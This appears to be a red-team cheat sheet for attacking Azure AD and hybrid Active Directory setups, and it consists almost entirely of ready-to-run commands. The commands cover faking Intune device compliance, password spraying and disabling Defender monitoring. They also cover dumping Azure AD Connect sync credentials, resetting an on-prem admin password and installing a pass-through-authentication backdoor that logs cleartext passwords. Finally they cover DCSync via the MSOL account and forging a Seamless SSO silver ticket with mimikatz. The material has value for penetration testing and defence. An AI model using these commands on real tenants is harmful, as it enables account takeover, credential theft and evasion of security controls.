- Bypassing conditional access by faking device compliance# AAD Internals – Making your device compliant # Get an access token for AAD join and save to cache Get-AADIntAccessTokenForAADJoin -SaveToCache # Join the device to Azure AD Join-AADIntDeviceToAzureAD -DeviceName “SixByFour” -DeviceType “Commodore” -OSVersion “C64” # Marking device compliant – option 1: Registering device to Intune # Get an access token for Intune MDM and save to cache (prompts for credentials) Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache # Join the device to Intune Join-AADIntDeviceToIntune -DeviceName “SixByFour” # Start the call back Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName “SixByFour”
Azure AD
With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.
- Authenticate to your webmail portal (i.e. https://webmail.domain.com/)
- Change your browser URL to: https://azure.microsoft.com/
- Pick the account from the active sessions
- Select Azure Active Directory and enjoy!
Azure AD vs Active Directory
Active Directory | Azure AD |
---|---|
LDAP | REST API’S |
NTLM/Kerberos | OAuth/SAML/OpenID |
Structured directory (OU tree) | Flat structure |
GPO | No GPO’s |
Super fine-tuned access controls | Predefined roles |
Domain/forest | Tenant |
Trusts | Guests |
- Password Hash Syncronization (PHS)
- Passwords from on-premise AD are sent to the cloud
- Use replication via a service account created by AD Connect
- Pass Through Authentication (PTA)
- Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
- Connect Windows Server AD to Azure AD using Federation Server (ADFS)
- Dir-Sync : Handled by on-premise Windows Server AD, sync username/password
- Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large
- Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large
- Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
- Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large
Password Spray
Default lockout policy of 10 failed attempts, locking out an account for 60 seconds
git clone https://github.com/dafthack/MSOLSpray
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!
# UserList - UserList file filled with usernames one-per-line in the format "user@domain.com"
# Password - A single password that will be used to perform the password spray.
# OutFile - A file to output valid results to.
# Force - Forces the spray to continue and not stop when multiple account lockouts are detected.
# URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from.
Convert GUID to SID
The user’s AAD id is translated to SID by concatenating "S-1–12–1-"
to the decimal representation of each section of the AAD Id.
GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]
For example, the representation of 6aa89ecb-1f8f-4d92–810d-b0dce30b6c82
is S-1–12–1–1789435595–1301421967–3702525313–2188119011
Azure AD Connect
Check if Azure AD Connect is installed : Get-ADSyncConnector
- For PHS, we can extract the credentials
- For PTA, we can install the agent
- For Federation, we can extract the certificate from ADFS server using DA
PS > Set-MpPreference -DisableRealtimeMonitoring $true
PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents
PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals
PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1
PS > Get-AADIntSyncCredentials
# Get Token for SYNC account and reset on-prem admin password
PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<TenantName>.onmicrosoft.com", $passwd)
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache
PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Verbose
- Check if PTA is installed :
Get-Command -Module PassthroughAuthPSModule
- Install a PTA BackdoorPS AADInternals> Install-AADIntPTASpy PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords
Azure AD Connect – Password extraction
Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
Tool | Requires code execution on target | DLL dependencies | Requires MSSQL locally | Requires python locally |
---|---|---|---|---|
ADSyncDecrypt | Yes | Yes | No | No |
ADSyncGather | Yes | No | No | Yes |
ADSyncQuery | No (network RPC calls only) | No | Yes | Yes |
git clone https://github.com/fox-it/adconnectdump
# DCSync with AD Sync account
Azure AD Connect – MSOL Account’s password and DCSync
You can perform DCSync attack using the MSOL account.
Requirements:
- Compromise a server with Azure AD Connect service
- Access to ADSyncAdmins or local Administrators groups
Use the script azuread_decrypt_msol.ps1 from @xpn to recover the decrypted password for the MSOL account:
azuread_decrypt_msol.ps1
: AD Connect Sync Credential Extract POC https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545azuread_decrypt_msol_v2.ps1
: Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.
Azure AD Connect – Seamless Single Sign On Silver Ticket
Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)
Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account AZUREADSSOC is created in the on-prem AD.
The password of the AZUREADSSOACC account never changes.
Using https://autologon.microsoftazuread-sso.com/ to convert Kerberos tickets to SAML and JWT for Office 365 & Azure
- NTLM password hash of the AZUREADSSOACC account, e.g.
f9969e088b2c13d93833d0ce436c76dd
.mimikatz.exe “lsadump::dcsync /user:AZUREADSSOACC$” exit - AAD logon name of the user we want to impersonate, e.g.
elrond@contoso.com
. This is typically either his userPrincipalName or mail attribute from the on-prem AD. - SID of the user we want to impersonate, e.g.
S-1-5-21-2121516926-2695913149-3163778339-1234
. - Create the Silver Ticket and inject it into Kerberos cache:mimikatz.exe “kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt” exit
- Launch Mozilla Firefox
- Go to about:config and set the
network.negotiate-auth.trusted-uris preference
to valuehttps://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
- Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.
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